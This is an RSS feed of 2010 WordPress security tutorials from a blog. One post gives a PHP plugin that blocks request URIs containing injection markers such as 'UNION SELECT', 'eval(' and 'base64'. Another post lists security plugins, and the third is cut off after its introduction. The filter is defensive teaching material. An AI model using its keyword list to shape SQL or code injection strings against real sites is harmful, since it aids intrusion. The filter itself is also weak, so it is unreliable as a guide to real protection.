<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sam&#039;s Web Guide &#187; Security Tutorials</title>
	<atom:link href="http://samswebguide.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://samswebguide.com</link>
	<description>The Evolving Web in Simple Terms</description>
	<lastBuildDate>Tue, 06 Dec 2011 00:00:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Secure Your WordPress Blog Against Malicious URL Requests</title>
		<link>http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/</link>
		<comments>http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 22:42:19 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Security Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[SQL attack]]></category>
		<category><![CDATA[URL Request]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=644</guid>
		<description><![CDATA[As I continue the series of techniques to secure and protect your WordPress blog, today I will be showing you how to protect your WordPress installation specifically against Malicious URL Requests that inject code to exploit your theme&#8217;s files and MySQL database. If you missed my previous security articles, you may view: 5 Extreme Steps ...]]></description>
			<content:encoded><![CDATA[<p>As I continue the series of techniques to secure and protect your WordPress blog, today I will be showing you how to protect your WordPress installation specifically against Malicious URL Requests that inject code to exploit your theme&#8217;s files and MySQL database.</p>
<p>If you missed my previous security articles, you may view: <a href="http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/" target="_blank">5 Extreme Steps to Secure Your WordPress Blog</a> and <a href="http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/" target="_blank">10 Simple Steps to Secure &amp; Protect your WordPress Blog</a>.</p>
<p><span id="more-644"></span>Since last year, thousands of sites have been hit by SQL attacks where malicious code is injected into the site. This type of attack completely disables the site&#8217;s permalink structure thus making blog post URLs inactive.</p>
<h3><span style="color: #333399;">The Awesome Solution</span></h3>
<p>We all know that prevention is better than cure, so below you will find the code that will be used to secure your site and prevent the injection. If you are tech savvy, you can create a new .php file, copy and save the code below and give it the file name: block_injections.php.</p>
<p>The code:</p>
<p><code>&lt;?php<br />
/*<br />
Plugin Name: Block Bad Queries<br />
Plugin URI:  http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/<br />
Description: Protect WordPress Against Malicious URL Requests<br />
Author URI: http://perishablepress.com/<br />
Author: Perishable Press<br />
Version: 1.0<br />
*/<br />
global $user_ID; if($user_ID) {<br />
if(!current_user_can('level_10')) {<br />
if (strlen($_SERVER['REQUEST_URI']) &gt; 255 ||<br />
strpos($_SERVER['REQUEST_URI'], "eval(") ||<br />
strpos($_SERVER['REQUEST_URI'], "CONCAT") ||<br />
strpos($_SERVER['REQUEST_URI'], "UNION SELECT") ||<br />
strpos($_SERVER['REQUEST_URI'], "base64")) {<br />
@header("HTTP/1.1  414 Request-URI Too Long");<br />
@header("Status:  414 Request-URI Too Long");<br />
@header("Connection:  Close");<br />
@exit;<br />
}<br />
}<br />
} ?&gt;</code></p>
<p><strong><em>Source: <a href="http://perishablepress.com/" target="_blank">Perishable Press</a></em></strong></p>
<p>If you would prefer not to dabble in any code, you may download the plugin here: <a href="http://samswebguide.com/wp-content/uploads/2010/04/block_queries.zip">Block Bad Queries Plugin</a></p>
<p>Save the file above and upload it to your plugin directory, /wp-content/plugins/, or use the <em>Add New</em> feature in your plugin section in the WordPress dashboard. This plugin will check for excessively long request strings (greater than 255 characters) as well as the presence of base64 code in the request URI which hides the malicious code.</p>
<p>Once the plugin is activated, it will silently and effectively close any connections for this type of injection attack.</p>
<h3><span style="color: #333399;">Start Protecting Your Blog</span></h3>
<p>This type of injection attack is extremely common in unprotected WordPress installations and the malicious code is often found hidden within free WordPress themes that are downloaded from questionable websites.</p>
<p>Always remember that prevention is better than cure and your site is your valuable investment.</p>
<h3><span style="color: #993300;">Discussion</span></h3>
<p>Please share your experiences with securing your blog and the problems that you have overcome. Also, if you require further assistance with implementing the code, please don&#8217;t hesitate to ask.</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=Secure+Your+WordPress+Blog+Against+Malicious+URL+Requests&amp;link=http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/&amp;notes=As%20I%20continue%20the%20series%20of%20techniques%20to%20secure%20and%20protect%20your%20WordPress%20blog%2C%20today%20I%20will%20be%20showing%20you%20how%20to%20protect%20your%20WordPress%20installation%20specifically%20against%20Malicious%20URL%20Requests%20that%20inject%20code%20to%20exploit%20your%20theme%27s%20files%20and%20MySQL%20database.%0D%0A%0D%0AIf%20you%20missed%20my%20previous%20securit&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/04/18/secure-wordpress-against-malicious-url-request/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>5 Additional Extreme Steps to Secure Your WordPress Blog</title>
		<link>http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/</link>
		<comments>http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 03:11:30 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blogging & SEO]]></category>
		<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Security Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[internet security]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=598</guid>
		<description><![CDATA[You can never be too prepared when it comes to internet security, so I have posted a continuation of my previous post,  10 Simple Steps to Secure &#38; Protect your WordPress Blog, with an additional 5 tips to make it 10 times more difficult for your WordPress site to be compromised by hackers. Here are ...]]></description>
			<content:encoded><![CDATA[<p>You can never be too prepared when it comes to internet security, so I have posted a continuation of my previous post,  <a href="http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/" target="_blank">10 Simple Steps to Secure &amp; Protect your WordPress Blog</a>, with an additional 5 tips to make it 10 times more difficult for your WordPress site to be compromised by hackers.</p>
<p>Here are 5 additional tips and practices to ensure that your investment of time, energy and money in your blog never goes to waste.</p>
<p><span id="more-598"></span></p>
<h3><span style="color: #333399;"><strong>1. WordPress File Monitor Plugin</strong></span></h3>
<p>This plugin monitors your WordPress installation and sends an e-mail alert to a specified address whenever a file is changed, added or deleted. Usually when a site or blog is hacked or compromised in some way, there is always a file that is altered in your directories. Under normal circumstances we would not know about such low-key changes taking places, so the plugin keeps a constant look-out and reports any changes.</p>
<p>The plugin also shows alerts in the WordPress dashboard, just in case you missed the e-mail alert.</p>
<p>This plugin can be downloaded here: <a href="http://wordpress.org/extend/plugins/wordpress-file-monitor/" target="_blank">WordPress File Monitor</a></p>
<h3><span style="color: #333399;">2. Move Your Wp-config.php File</span></h3>
<p>This tip actually came from <a href="http://www.webdesign-bureau-of-mauritius.com/" target="_blank">Sachin</a>, a fellow blogger and web developer, who commented on my <a href="http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/" target="_blank">previous security post</a>.</p>
<p>You can further secure your WordPress blog by moving your wp-config.php file (which is found in your root directory) to a directory level that is higher than your www (root) folder. This move will prevent your blog from being hacked through your wp-config.php file.</p>
<h3><strong><span style="color: #333399;">3. WordPress Anti-Virus Protection Plugin<br />
</span></strong></h3>
<p>Hopefully, most of us have anti-virus software for our personal computers, so why not have it for your wordpress blog? This plugin is an extremely effective solution for detecting and protecting your blog against exploitations and spam injections and offers the ability to conduct daily automatic scanning and manual testing while providing e-mail notifications.</p>
<p>This awesome anti-virus plugin can be downloaded here: <a title="Wordpress Anti-Virus" href="http://wordpress.org/extend/plugins/antivirus/" target="_blank">WordPress AntiVirus</a></p>
<h3><strong><span style="color: #333399;">4. WordPress Firewall Plugin</span></strong></h3>
<p>This one is pretty neat and recommended for more advanced users. This plugin has a vast amount features that complement your web host server by logging, detecting and intercepting suspicious parameters and requests. It is also useful for mitigating dreadful zero-day attacks (<a title="Zero Day Attacks" href="http://en.wikipedia.org/wiki/Zero_day_attack" target="_blank">See definition for Zero-day Attacks Here</a>) and setting different security protection levels.</p>
<p>The plugin can be downloaded here: <a title="Wordpress Firewall Plugin" href="http://www.seoegghead.com/software/wordpress-firewall.seo" target="_blank">WordPress Firewall Plugin</a></p>
<h3><span style="color: #333399;"><strong>5. Encrypted Login Password Plugin</strong></span></h3>
<p>This plugin is very useful for users who do not have SSL (<a title="SSL Definition" href="http://info.ssl.com/article.aspx?id=10241" target="_blank">Secure Sockets Layer, see definition here</a>) enabled or is not available. The plugin increases the security of the login process by using a combination of public and secret key encryption to encrypt the password on the client side when you log in. Your server will then decrypt the encrypted password with a private key and grant you access. <strong>Note:</strong> Javascript is required to enable password encryption.</p>
<p>The plugin can be downloaded here: <a href="http://wordpress.org/extend/plugins/semisecure-login-reimagined/" target="_blank">Semisecure Login Reimagined</a></p>
<p>Use the plugins and tips above to seriously secure and lock-up your wordpress blog to the Max! Remember, its your investment, so do what it takes to protect it.</p>
<p><span style="color: #333399;"><strong>Discussion:</strong></span></p>
<p>Please share with us other tips or plugins not listed above that you may have found useful. Also, please share any experiences or difficulties you may have had in the past and what you did to overcome.</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=5+Additional+Extreme+Steps+to+Secure+Your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/&amp;notes=You%20can%20never%20be%20too%20prepared%20when%20it%20comes%20to%20internet%20security%2C%20so%20I%20have%20posted%20a%20continuation%20of%20my%20previous%20post%2C%C2%A0%2010%20Simple%20Steps%20to%20Secure%20%26amp%3B%20Protect%20your%20Wordpress%20Blog%2C%20with%20an%20additional%205%20tips%20to%20make%20it%2010%20times%20more%20difficult%20for%20your%20WordPress%20site%20to%20be%20compromised%20by%20hackers.%0D%0A%0D%0A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/04/11/5-additional-extreme-steps-to-secure-your-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Have You Ever Been Hacked? Simple Mistakes to Avoid &amp; How to Recover</title>
		<link>http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/</link>
		<comments>http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 20:55:57 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blogging & SEO]]></category>
		<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Security Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=478</guid>
		<description><![CDATA[WordPress is the most popular blogging platform in the world with over 6 Million downloads so far (See why I like wordpress here) and because its so popular, you know the bad guys will begin to target its users. Hacking is a very serious issue that can cripple any website and erase a hard earned ...]]></description>
			<content:encoded><![CDATA[<p>WordPress is the most popular blogging platform in the world with over 6 Million downloads so far (<a title="Best Blogging Platform" href="http://samswebguide.com/2010/02/26/wordpress-the-best-content-management-system-cms-for-my-blog/" target="_blank">See why I like wordpress here</a>) and because its so popular, you know the bad guys will begin to target its users. Hacking is a very serious issue that can cripple any website and erase a hard earned source of income, especially for the unsuspecting. The thing about it is many of us have never witnessed the devastating effects that malicious scripts can have on a website, so I&#8217;m going to show you an example of what happens when hackers attack and how to deal with it.</p>
<p><span id="more-478"></span></p>
<p>Fortunately, I have never been hacked, so I will be showing an example from another person&#8217;s experience that I came across yesterday. Below is a screenshot of his wordpress dashboard 2 months after the malicious script was installed.</p>
